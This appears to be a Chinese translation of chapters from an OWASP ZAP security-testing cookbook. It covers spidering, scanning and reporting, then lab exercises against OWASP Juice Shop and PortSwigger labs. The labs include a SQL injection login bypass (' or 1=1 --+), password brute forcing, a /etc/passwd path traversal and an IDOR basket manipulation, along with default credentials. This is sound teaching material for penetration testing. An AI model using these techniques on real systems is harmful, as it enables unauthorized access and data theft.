https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.11_B18829.jpg
图 3.11 – 从工具标签启动 AJAX Spider
第三种也是最后一种方法是通过信息窗口来启动 AJAX Spider。点击+
图标,然后添加AJAX Spider
选项卡。完成后,你可以点击左侧的新扫描,如图 3.12所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.12_B18829.jpg
图 3.12 – 从信息窗口启动 AJAX Spider
现在我们已经了解了如何启动 AJAX Spider,接下来我们将讨论点击AJAX Spider
选项卡后发生的事情。通过前两种方法,或者点击新扫描作为第三种方法,AJAX Spider 配置窗口将会弹出。配置窗口包含七个选项,如图 3.13所示:
-
起始点:点击**选择…**后,你可以选择要扫描的节点。
-
上下文:在此字段中,你可以选择你想要爬取的上下文。
-
用户:在这里你可以选择一个用户。
-
仅在范围内:顾名思义,选中此框时,只有在范围内的节点才会被 AJAX-爬取。
-
仅爬取子树:选中此框时,仅会访问起始点 URI 下的资源。
-
浏览器:在此下拉菜单中,你可以选择所需的浏览器。
-
显示高级选项:顾名思义,选中此选项时,将会显示更多可用选项。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.13_B18829.jpg
图 3.13 – AJAX Spider 范围选项卡
当对话框中的最后一个复选框显示高级选项被选中时,选项选项卡将显示。在选项选项卡中,您将看到七个额外的选项:
-
浏览器窗口数量:选择可以同时打开多少个浏览器窗口。
-
最大爬取深度:确定爬虫可以深入的层级。
-
最大爬取状态数:确定 Spider 可以爬取的最大状态数。
-
最大持续时间:此选项定义了爬虫运行的最大时间(以分钟为单位)。
-
事件等待时间:在此,你可以设置事件触发后要等待的时间。
-
重新加载等待时间:此项配置爬虫加载页面后的等待时间。
-
允许的资源:此最后设置将允许额外的资源。例如,第三方脚本。
所有这些选项可以在图 3.14中看到。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.14_B18829.jpg
.
图 3.14 – AJAX Spider 选项卡
一旦选择了你想要的选项,你可以点击开始扫描来开始爬取。一旦扫描完成,结果可以在信息窗口中的AJAX Spider
标签中查看。扫描后,结果将开始在网站窗口中填充。展开网站树形结构可以查看新路径和标记,旁边会显示警告的严重性。此外,由 AJAX Spider 发现的资源将旁边有一个红色蜘蛛图标,如图 3.15所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.15_B18829.jpg
图 3.15 – AJAX Spider 爬取的结果
它是如何工作的……
就像常规的 Spider 一样,AJAX Spider 会发现并识别所选应用程序中的所有超链接和目录,但它在 AJAX 应用程序中更为有效。
这部分介绍了 AJAX Spider。一旦爬取应用程序完成,ZAP 会执行两种扫描,其中第一种是自动的,但也可以手动触发。在下一部分,我们将教你如何进行被动扫描。
还有更多……
AJAX 是一组类似于 DHTML 或 LAMP 的技术,结合了以下内容:
-
HTML 和 CSS 用于标记和样式化数据。
-
文档对象模型(DOM)用于与数据交互并在浏览器中动态显示它。
-
XMLHttpRequest
(XHR)方法用于在浏览器和 web 服务器之间异步交换数据。这有助于避免页面重载。 -
JavaScript 对象表示法(JSON)和 XML 格式用于将数据发送到浏览器。其他常见格式包括预格式化的 HTML 和纯文本。
-
JavaScript 用于将所有这些列出的技术组合在一起。
图 3.16 显示了该模型如何与传统 Web 通信进行比较。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.16_B18829.jpg
图 3.16 – AJAX 与传统 Web 应用通信模型
AJAX 引擎,如图 3.16中橙色高亮部分所示,是通过使用XMLHttpRequest
对象手动发起所有请求的地方。否则,开发者会使用如 jQuery、Prototype 和 YUI 等 JavaScript 库,在客户端创建 AJAX 替代的功能。这些库旨在隐藏 JavaScript 开发的复杂性(即跨浏览器兼容性)。
对于服务器端,一些框架也能提供帮助(例如 DWR 或 RAJAX(适用于 Java)),但如果你暴露了一个仅返回部分更新页面所需信息的服务,这也不是必须的。
-
通过 AJAX 从客户端(浏览器)向 Web 服务器发送 HTTP 请求,处理服务器的响应而不重新加载整个页面。
-
然后,JavaScript 提交并接收来自服务器的数据响应(XML 和 JSON)。
-
JavaScript 动态更新 DOM 和用户视图。
另见
请访问 W3Schools 了解更多关于 AJAX 工作原理以及 XMLHTTPRequest 选项的信息:www.w3schools.com/js/js_ajax_http.asp
。
被动扫描一个 Web 应用
被动扫描在 ZAP Proxy 的后台持续运行并记录发现的内容。它通过检查流入 ZAP Proxy 的流量来工作。这是一个被动的后台线程,不会影响应用程序的性能,因为它扫描的是已经存储在 ZAP 上的流量。
准备工作
对于这个步骤,你只需要启动并运行 ZAP 即可。
如何操作…
打开 工具 | 选项,然后在左侧向下滚动,直到看到 被动扫描器。在这里,你将看到配置选项复选框,首先询问是否仅扫描在范围内的消息,并且是否包含来自 模糊测试器 的流量。最后两个选项是用于编辑每个规则可触发的最大警报数量以及要扫描的应用程序的最大请求体大小(以字节为单位)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.17_B18829.jpg
图 3.17 – 被动扫描器选项
提示
使用快捷键时,按住 Ctrl + Alt,然后按字母 O(Ctrl + Alt + O)。
关于被动扫描,最后需要知道的一点是,发现的结果仍会显示在 ZAP Proxy 主界面上的 信息 窗口中的 警报 标签页。由于这是被动扫描,发现的内容将在你手动浏览应用程序时逐渐填充进来。这些发现的示例可以参见 图 3.18。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.18_B18829.jpg
图 3.18 – 警报标签
它是如何工作的…
被动扫描通过非侵入性地捕获并分析流入 ZAP 的流量来工作。这些扫描在一个后台线程中运行,不会影响应用程序的性能。
还有更多内容…
有时,使用其他工具进行被动扫描并比较扫描结果可能会有所帮助。这有助于理解误报,并确保 ZAP 正如预期那样捕获信息。
另见
另一个流行的被动扫描工具是 Wfuzz。要安装它,请访问 github.com/xmendez/wfuzz
。
主动扫描一个 Web 应用
主动扫描顾名思义,ZAP 将尝试基于已知的漏洞定位、模糊测试并枚举一个应用程序,并利用这些漏洞。主动扫描明确是一种对 Web 应用程序的攻击。
重要提示
不要扫描你没有权限测试的 Web 应用。
重要提示
主动扫描无法识别 业务逻辑漏洞。你需要手动测试这些漏洞。
在 ZAP 中需要记住的一个功能是可以将脚本添加到所有通过的流量头部中,这将有助于识别 ZAP 流量和 Web 应用防火墙(WAF) 异常。该脚本是 AddZAPHeader.js
,它会添加一个头部(即 X-ZAP-Initiator: 3)。如果你使用的是 Windows,默认的安装路径是:C:\Program Files\OWASP\Zed**
攻击代理\scripts\templates\httpsender**。
请注意,新的 HttpSender 脚本最初将被禁用。右键点击 脚本 树中的脚本并选择 启用。
准备工作
对于这个任务,你需要确保 ZAP 和 OWASP Juice Shop 正在运行。
如何操作…
启动活动扫描有几种方法。第一种也是最简单的方法是在 工作区 窗口中,使用 自动化扫描 功能可以让你输入正在测试的 URL,然后你可以点击 攻击。这将首先启动蜘蛛扫描程序,然后使用默认策略和选项开始活动扫描。要使用特定选项启动活动扫描,可以在 树状视图 中右键点击 站点 中的一个 URL,选择 攻击,然后选择 活动扫描。
这将打开一个 活动扫描 对话框窗口,如果需要,你可以使用 选择 打开 站点 列表来重新定义扫描范围。在这里,你可以通过第一个下拉按钮定义其他已创建的策略,通过第二个下拉按钮定义上下文(仅当站点已添加到上下文中时才可用),定义用户(仅在为认证扫描定义了用户时可用),以及如在 被动扫描 对话框中看到的 递归 选项和 显示高级选项。勾选高级选项框后,会打开四个新选项卡,具体如下:
- 输入向量:覆盖在 选项活动扫描输入向量 页面中定义的默认输入向量。点击 重置 按钮将会将输入向量恢复为默认选项。
重要提示
使用所有选项时,扫描的时间将会增加。
这些选项包括以下内容:
-
可注入目标:
-
URL 查询字符串和
-
添加 URL
-
POST 数据
-
URL 路径
-
HTTP 头部
-
所有请求
-
Cookie 数据
-
-
内建输入
-
多部分表单数据
-
XML 标签/属性
-
JSON
-
Google**
Web 工具包** -
OData ID/筛选器
-
-
启用脚本输入向量:这些是编写或导入的脚本,用于允许用户定位默认不支持的元素。它们还配置了在 添加警报 对话框中被活动扫描器忽略的参数。
下图显示了我们刚刚讨论过的 输入向量 项目:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.19_B18829.jpg
图 3.19 – 活动扫描 | 输入向量
- 自定义向量:此功能允许用户指定请求中的位置进行攻击。只有在未选择递归选项时才可用,因此你需要突出显示要攻击的字符并点击添加按钮。可以添加多个自定义输入向量,若要删除它们,只需突出显示任何已选择的字符并点击删除按钮。勾选禁用非自定义输入向量框将禁用所有输入向量,除非它们是手动定义的。
以下截图显示了自定义
向量窗口:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.20_B18829.jpg
图 3.20 – 活动扫描 | 自定义向量
- 技术:此项指定要主动扫描的技术类型。如果你确定目标应用程序中不存在某种技术,可以通过取消选中旁边的复选框来忽略该技术,如图 3.21所示。这样可以加快扫描速度,扫描规则将跳过这些测试。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.21_B18829.jpg
图 3.21 – 活动扫描 | 技术
- 策略:此选项允许你覆盖所选扫描策略中指定的任何设置。在这种情况下,我们使用的是默认策略,如下截图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.22_B18829.jpg
图 3.22 – 活动扫描 | 策略
-
我们还将查看过滤器选项卡。此选项卡允许用户根据以下四个过滤标准指定要在活动扫描中筛选的条件:
-
HTTP 方法:修改此项将更改是否允许和检查 HTTP 方法的设置
-
状态码:修改此项将更改是否允许和检查状态码的设置
-
包含/排除标签:与请求相关联的简短文本
-
URL 包含/排除正则表达式:用于包含或排除的正则表达式模式
-
一旦所有扫描完成,你将需要生成报告,以便轻松查看结果。
它是如何工作的…
活动扫描通过对应用程序进行扫描,检查已知的公共漏洞并尝试利用它们。它还会枚举应用程序,查找可用的资源和目录。
一旦所有扫描完成,你将需要生成报告,以便轻松查看结果。
还有更多…
简单来说,使用其他工具进行主动扫描可以帮助实现更好的结果,并通过比较不同的扫描器来消除误报。不同的工具会以不同的方式解析应用程序。
另见
以下是其他可供下载和安装的开源扫描工具列表:
-
Arachni 扫描器:
www.arachni-scanner.com/
-
Wapiti 扫描器:
wapiti-scanner.github.io/
生成报告
与所有动态分析安全测试(DAST)扫描器一样,ZAP 提供了生成报告的功能,使用户能够查看发现的问题并获取证据(即请求和响应),以及问题描述和修复建议。报告中的所有数据对于与高层领导沟通时确定指标非常有用,同时对开发人员在更新或解决代码时了解问题也很有帮助。
准备开始
为了继续此步骤,你需要确保已启动 ZAP 并且已经扫描了一个应用程序。
如何操作…
要开始使用报告,在顶级菜单栏中,选择报告的下拉菜单以打开选项面板。图 3.23显示了可用的各种选项。其他附加插件可以在市场中选择,它们为报告提供附加功能。我们不会讨论这些附加插件,但值得注意的是它们是可用的。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.23_B18829.jpg
图 3.23 – 报告菜单
以下功能可以根据报告下拉菜单中的名称直观识别:
-
将消息导出到文件…:在此处保存请求和响应到文本文件。首先,通过在历史记录选项卡中选择一个或多个消息来选择要保存的消息,选项卡位于信息窗口中。按住Shift键可以选择多个消息。
-
将响应导出到文件…:使用此选项将特定响应保存到文本文件。同样,在位于信息窗口中的历史记录选项卡中,选择要保存的相关消息。
重要提示
二进制响应(即图像)可以与测试响应一起保存。
-
将所有 URL 导出到文件…:使用此选项将访问的所有 URL 保存到文本或 HTML 文件中。此选项可用于比较你遇到的 URL、比较具有不同角色的用户(即管理员与审计员)或比较在同一系统上不同用户权限。
-
将选定的 URL 导出到文件…:使用此选项将特定或多个 URL 和子域从站点树导出到文本文件。
-
导出上下文的 URL:在站点树中,将导出选定上下文中的每个 URL。你也可以右键点击上下文节点进行导出。只需注意,站点树中的 URL 必须先添加到上下文中,才能使用此选项。
-
与另一个会话比较…:此选项要求你保存一个先前的 ZAP 会话,然后会打开一个菜单,供你选择从本地目录中保存的输出文件。它会加载到当前的 ZAP 会话中进行比较。该文件将包含一个表格,其中列出了两个会话的 URL 及其 HTTP 状态。在
.html
报告中(如图 3.24所示),你可以选择查看所有会话的数据 – 仅第一个会话、仅第二个会话,或两者的比较。两者选项只显示两个会话中都包含的 URL,而任何选项则显示所有 URL。然而,HTTP 状态会区分每个会话中响应的 URL。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.24_B18829.jpg
图 3.24 – 一个 .html 比较报告
本报告适用于比较两次不同用户访问同一应用程序的会话。它允许你查看哪些用户可以访问哪些 URL,并能够理解用户登录并成功访问的 URL 或路径。
-
生成报告 …:这是最后一个选项,它会打开一个对话框窗口,提供自定义报告配置的选项。一开始,你会看到四个不同的选项卡,如图 3.25所示,分别是范围、模板、筛选器和选项:
- 在 范围中,你可以为报告命名、选择将报告保存到哪个本地目录、简要描述报告内容,并选择一个或多个上下文和站点加入报告。两个复选框,如果没有警报则生成报告和显示报告,允许你生成没有警报的报告,并使用你计算机的默认程序打开该报告类型。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.25_B18829.jpg
图 3.25 – 生成报告对话框 | 范围
- 下一个选项卡是 模板,如图 3.26所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.26_B18829.jpg
图 3.26 – 生成报告对话框 | 模板
- 这里有一个下拉菜单,包含所有可用的模板。报告中包含的模板可以格式化为多种文件类型,如 HTML、MD 和 PDF(见图 3.27)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.27_B18829.jpg
图 3.27 – 生成报告对话框 | 模板下拉菜单
-
主题用于应用不同的颜色和/或样式,但前提是这些样式在所选模板中已定义。
-
最后,部分用于报告中您希望包含或排除的部分。如果所选模板已定义部分,则会显示每个部分的复选框。通过取消选择任何部分,您将从整体报告中排除它们。
重要说明
默认情况下,所有复选框都会被选中。
- 接下来是过滤器,它允许您指定报告中要包含的严重性级别,如图 3.28所示。此选项还允许您选择置信度级别(或 ZAP 认为高度可能的级别),以及一个用于过滤假阳性的复选框。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.28_B18829.jpg
图 3.28 – 生成报告对话框 | 过滤器
- 最后,存在一个选项标签,其中包括报告名称模式和模板目录字段(图 3.29)。报告名称模式为您提供了一种简单的方式来定义报告名称的结构。模板目录设置了本地目录的路径,该目录是从中加载模板的地方。
重要说明
除非您设计了一个新的报告,否则无需更改模板目录设置。否则,ZAP 主目录中的报告文件夹会默认设置。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.29_B18829.jpg
图 3.29 – 生成报告对话框 | 选项 | 模板目录
它是如何工作的…
报告通过收集所有发现和证据,并将它们组合成一份可以下载并提交给相关方的报告。生成报告对话框中的选项和配置用于自定义报告。
另见
查看这些其他用于生成报告的开源工具:
-
WriteHat:
github.com/blacklanternsecurity/writehat
-
Serpico:
github.com/SerpicoProject/Serpico
第四章:身份验证和授权测试
欢迎来到 第四章!我们和你一样激动,能够进入本章。在本章中,我们将涵盖许多关于身份验证和授权测试的主题,以了解攻击这些机制的不同方式。身份验证是验证试图访问系统或应用程序的人的身份有效性的过程。授权也帮助我们验证请求的操作或服务是否已批准特定实体。
在本章中,我们将涵盖以下内容:
-
绕过身份验证的测试
-
测试通过加密通道传输的凭证
-
测试默认凭证
-
测试目录遍历文件包含
-
测试权限提升和绕过授权架构
-
测试不安全的直接对象引用
技术要求
对于本章,你需要在你的机器上安装 OWASP ZAP 和 OWASP Juice Shop,因为你需要能够使用 ZAP 拦截浏览器与 OWASP Juice Shop 之间的流量。
绕过身份验证的测试
身份验证架构的目标是验证被验证用户的身份。检查身份验证功能首先要了解身份验证过程是如何验证用户账户的。当身份验证架构存在漏洞时,攻击者能够绕过身份验证过程。
有多种方法可以绕过身份验证架构。一些绕过方法包括(但不限于)拦截身份验证请求(如果应用程序使用了弱加密)、未正确实现输入验证(这使得注入攻击成为可能)、预测会话 ID(如果它们遵循某种模式),以及配置错误。
准备工作
为了准备这个实验,Juice Shop 必须运行,并且 ZAP 应该拦截浏览器和 Juice Shop 之间的流量。
如何进行…
在这个实验中,我们将通过执行基本的 SQL 注入攻击来绕过身份验证架构并登录管理员账户。
要开始实验室,请按照以下步骤操作:
-
访问 Juice Shop 的登录页面。
-
打开 ZAP 并通过点击顶部菜单上的绿色圆圈来 设置对所有请求和响应的断点,这将使它变为红色,如 图 4.1 中所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.01_B18829.jpg
图 4.1 – 设置断点按钮
-
再次打开 Juice Shop 应用程序,在用户名和密码框中输入一个撇号('),然后按 Enter(在 macOS 中是 return)。你将看到请求被停止。
-
点击
Step
四到五次。
目标是查看包含撇号用户名和密码的请求响应。在 图 4.2 中,我们可以看到该请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.02_B18829.jpg
图 4.2 – 包含用户名和密码字段的请求
在图 4.3中,我们可以看到响应:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.03_B18829.jpg
图 4.3 – 展示错误的响应
你可以看到响应中包含了正在使用的数据库类型以及提交的 SQL 查询。
- 这些信息不应显示给用户。点击继续,你会在登录下看到
"[object Object]"
错误。
通过查看这些信息,我们可以判断网站是否存在 SQL 注入漏洞。
- 现在,在用户名字段中输入
' or 1=1 --+
,并在密码字段中输入任意字符。
因为1=1
语句为真,SQL 注入成功。--
符号(短横线)将查询语句之后的部分注释掉。在这种情况下,密码将被注释掉。
- 点击登录,以查看 SQL 注入是否成功,通过显示登录是否成功来验证。
如果你点击右上角的账户菜单,你会看到我们已登录为admin@juice-sh.op
,如图 4.4所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.04_B18829.jpg
图 4.4 – 账户登录
如何运作…
在这个案例中,我们进行了 SQL 注入,以绕过身份验证方案。SQL 注入是绕过身份验证过程的方法之一。如果应用程序没有验证用户输入,可能会执行 SQL 注入从而绕过身份验证。
测试通过加密通道传输的凭据
在本案例中,我们将演示如何验证用户的登录用户名和密码是否通过加密通道从浏览器传输到 Web 服务器。对于应用程序而言,通过加密通道传输登录信息或任何敏感数据(如会话 ID)至关重要。应用服务器和用户浏览器之间传输的数据可能会被攻击者截获,如果流量是加密的,攻击者将无法读取正在传输的数据。
准备工作
为了准备这个案例,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 拦截 OWASP Juice Shop 应用首页的流量。
如何操作…
为了了解一个网站是否可访问并通过超文本传输协议(HTTP)或超文本传输协议安全(HTTPS)传输数据,我们需要拦截登录的 HTTP 请求。让我们看一下步骤:
- 配置 ZAP 拦截流量,然后登录到网站。
在拦截登录请求后,搜索并在 ZAP 中打开它。它会出现在信息窗口的历史记录标签中。图 4.5显示了登录请求的头部,其中包含你要在此测试中检查的字段:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.05_B18829.jpg
图 4.5 – 登录请求头部
- 检查 HTTP 方法和
Referer
字段。
HTTP 方法字段是第一行,用于传输数据。地址的开始部分将决定是否使用 HTTPS 或 HTTP。图 4.5 显示的是http
。
- 接下来,检查
Referer
字段。
该字段显示请求来源页面的地址。与 HTTP 方法字段一样,Referer
字段中的地址开始部分决定了源网页是否可以通过 HTTP 或 HTTPS 访问。
工作原理…
有两个主要的互联网协议用于传输 web 应用程序数据。第一个协议是 HTTP,它传输未加密的数据。第二个协议是 HTTP 的扩展——HTTPS,它用于加密 web 流量。HTTPS 使用传输层安全性(TLS),取代了安全套接字层(SSL),来加密 web 通信。使用 HTTP 会无意中暴露最终用户的数据,因为它以明文形式发送请求,攻击者可以轻松读取和篡改这些请求。
测试默认凭证
在本教程中,我们将讲解如何测试应用程序的默认凭证。通常,新配置的应用程序、服务器、路由器、主机等都附带有默认密码,供系统管理员登录并进行配置。如果这些默认密码未被更改,当攻击者进行暴力破解攻击时,成功登录的可能性较高。我们将演示如何使用字典文件进行简单的暴力破解攻击。
准备开始
为了准备本教程,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序的主页上拦截流量。此外,您需要使用任何虚拟电子邮件在 OWASP Juice Shop 中创建一个帐户,但请确保在此部分的密码为password
。另外,从 GitHub 或 Google 搜索获取密码破解字典文件(‘top-passwords-shortlist’)。
如何操作…
- 拦截流量,然后登录应用程序。
登录应用程序后,您将看到POST
请求,如图 4.6所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.06_B18829.jpg
图 4.6 – 站点树窗口 POST 请求位置
从这里开始,我们将对登录请求凭证进行暴力破解。
- 右键点击
POST:login()
请求,选择攻击,然后选择模糊…:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.07_B18829.jpg
图 4.7 – 站点树窗口
- 高亮显示要进行暴力破解的字段,并点击添加…,如图 4.8所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.08_B18829.jpg
图 4.8 – 模糊器对话框和位置
- 然后,点击**添加…**按钮,如图 4.9所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.09_B18829.jpg
图 4.9 – 有效载荷对话框列表
这将打开一个窗口,允许您选择有效载荷。
- 点击类型下拉框,选择文件,如图 4.10所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.10_B18829.jpg
图 4.10 – 添加有效载荷对话框文件下拉菜单
一旦打开窗口,选择我们在本节中之前下载的词典。
- 选择
worldlist
,如图 4.11所示,然后点击打开、添加和确定。之后,你的Fuzzer
窗口将如下图 4.8所示。现在,你准备好启动 Fuzzer 了。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.11_B18829.jpg
图 4.11 – 添加有效载荷对话框文件目录视图
- 点击启动 Fuzzer。一个新标签页打开,ZAP 开始测试你所高亮显示的字段,包含已添加的有效载荷。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.12_B18829.jpg
图 4.12 – Fuzzer 信息窗口
它是如何工作的…
正如你所注意到的,“password” 有效载荷起作用了。这是因为应用程序返回了200
代码,如图 4.12所示,表明 Fuzzer 测试的密码字段使用的密码是有效的。这个例子适用于任何其他登录界面以及任何使用密码的应用程序。当与有默认凭据的应用一起使用时,你可以同时测试多个凭据,尝试暴力破解登录页面。
还有更多内容…
在选择用于暴力破解等攻击的词典时,要了解你的目标是谁以及目标是什么,以便创建特定的列表(例如,Apache Tomcat 使用的用户名和密码是tomcat
和tomcat)。
另见
测试目录遍历文件包含
目录遍历,也称为路径遍历、文件包含,是指攻击者试图利用输入验证的缺失或方法部署不当,读取或写入未经授权或不应访问的文件。在本指南中,我们将探索攻击者如何执行这种攻击,称为“点点斜杠”(…/)攻击。
准备就绪
首先,确保 ZAP 已启动,并使用 PortSwigger Academy 实验室中的文件路径遍历,简单案例。
如何进行操作…
要确定应用程序的哪部分易受输入验证绕过攻击的影响,你需要列举应用程序中所有接受用户内容的部分。这包括 HTTP GET
和 POST
请求以及文件上传和 HTML 表单等常见选项。让我们看看这些步骤:
-
在 ZAP 中捕获网络应用。
-
扫描网络应用并查找任何包含图片文件或其他输入参数的区域:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.13_B18829.jpg
图 4.13 – 获取:image(filename)
在 PortSwigger Academy 实验室中,查看网页上的任何图片,或者在请求编辑器中打开GET
请求以查看image(filename)
请求,查看文件名的请求。
- 打开请求编辑器,选择
GET
请求中的image(filename)
,并修改文件名以注入文件遍历攻击,如图 4.14所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.14_B18829.jpg
图 4.14 – 文件路径遍历的请求编辑器
- 当文件路径存在漏洞时,响应将反映出新请求的文件;在我们的例子中,攻击请求的是
/etc/passwd
文件,如图 4.15所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.15_B18829.jpg
图 4.15 – 响应反射 /etc/passwd
工作原理…
目录遍历攻击旨在访问位于 Web 根目录之外的文件或其他目录。Web 服务器和 Web 应用程序通常会采用身份验证控制来访问文件和资源。管理员试图识别哪些用户和用户组被允许访问、修改或执行服务器上的特定文件。为了防止恶意行为,访问控制列表(ACL) 被用来防止访问敏感文件(如 /etc/passwd)或避免执行系统命令。
ACL 是管理图像、模板、加载静态文本等的常用方法,不幸的是,输入参数(如表单和 Cookie 值)的验证不当将使应用程序暴露于安全漏洞之下。
另见
有时,某些参数被屏蔽,攻击者需要在输入中使用其他方法,比如 HTML 编码或双重编码。对于这些其他字符串,请参考 GitHub,寻找备忘单或其他有效载荷,以帮助构建你的词汇表。然后,使用模糊测试工具快速加载并攻击所选参数。
另见 第二章中的 使用 Fuzzer 进行模糊测试 部分,导航 UI。
测试权限提升和绕过授权方案
在本章中,我们将讨论两种漏洞类型:第一种是权限提升,第二种是绕过授权方案。实验室内容涵盖这两种漏洞,因为一旦我们提升了权限,就可以执行未经授权的操作。
在权限提升攻击中,攻击者获得了更高的权限或执行了本应由其他用户执行的操作。通常,这种攻击之所以可能发生,是由于配置错误、软件漏洞或允许攻击者提升权限的漏洞。权限提升攻击有两种类型:第一种是纵向权限提升。在这种攻击中,攻击者成功获得了比其账户应有的更多权限(例如,从用户权限提升到管理员权限)。第二种是横向权限提升。在这种攻击中,攻击者执行了一个并非为其账户设计的操作,而是为一个具有相似权限级别的账户设计的操作。
绕过授权是在攻击者获得访问用户资源的能力时发挥作用的,即使用户没有经过身份验证,从而绕过身份验证。此漏洞会在以下情况下出现:无论是退出应用程序后,还是访问仅对具有适当角色或权限的用户可访问和设计的功能与资源时,都能实现对资源的访问。
准备工作
要在此实验中跟随步骤,你应该运行 OWASP Juice Shop,并让 ZAP 拦截流量。
如何操作…
在本实验中,我们将通过查看另一个用户购物车中的物品来执行横向权限提升。以下步骤将指导你在 Juice Shop 中执行权限提升:
- 以管理员身份登录。
管理员邮箱(在本例中作为用户名使用)是 admin@juice-sh.op,密码是admin123
。用户名来自评论部分,当选择苹果汁时获得。我们通过使用常见密码列表暴力破解密码获得了密码。
- 访问管理员页面,网址为https://[你的 IP 地址或本地主机]:3000/#/administration。
通过使用浏览器的开发者工具并阅读main.js
文件,获得了管理员页面的路径。
- 通过点击用户旁边的眼睛符号来获取用户 ID。
需要用户 ID 才能查看bender@juice-sh.op
用户的购物车。点击眼睛后,你可以看到在#
符号后的用户 ID,本例中为3
,如图 4**.16所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.16_B18829.jpg
图 4.16 – 用户 ID
现在我们已经获得了用户 ID,我们需要创建一个新用户账户,以便获取一个正常用户权限的账户。
-
退出管理员账户,点击账户 | 登录,点击还不是客户?,填写所需的用户账户信息。创建用户账户后,登录该账户。
-
打开 ZAP,添加
Juice Shop
到作用范围,并通过点击顶部菜单栏的绿色圆圈来设置拦截所有请求和响应,这样它会变成红色,如图 4**.17所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.17_B18829.jpg
图 4.17 – 设置拦截点
- 点击顶部菜单中的您的购物车。点击后,你会看到被 ZAP 阻止的请求,并可以编辑它。第一行以
GET
(所使用的 HTTP 方法)开头;紧接着,你可以看到由协议版本跟随的路径。请注意,路径的结尾包含数字,表示用户 ID。参见图 4**.18:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.18_B18829.jpg
图 4.18 – 用户 ID 请求头
- 将 6 替换为用户 ID 3,如图 4.19 所示。点击继续:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.19_B18829.jpg
图 4.19 – 替换请求头
现在,你可以看到bender@juice-sh.op
的购物篮,如图 4.20所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.20_B18829.jpg
图 4.20 – OWASP Juice Shop 购物篮
- 为了进一步执行未经授权的操作,让我们从 mailto:bender@juice-sh.op 购物篮中删除树莓汁。刷新并重复步骤 5至7,检查购物篮是否为空,如图 4.21所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.21_B18829.jpg
图 4.21 – 空购物篮
工作原理…
本实验向你展示了权限提升的工作原理。在这个特定的实验中,我们通过更改GET
请求中的 ID 来查看另一个用户的购物篮。这类攻击非常危险,因为攻击者可以代表他人执行某些操作,如果提升是垂直的,攻击者将拥有可以危及整个系统或应用程序的权限。
测试不安全的直接对象引用
不安全的直接对象引用(IDOR) 出现的情况是,当应用程序以不安全的方式引用对象,允许用户提供的输入操控并直接访问这些对象。利用此漏洞的攻击者能够绕过授权,直接访问服务器上的资源(例如数据库记录或文件)。
准备工作
首先,确保启动了 ZAP 并使用 PortSwigger Academy 实验室中的不安全直接
对象引用。
操作步骤…
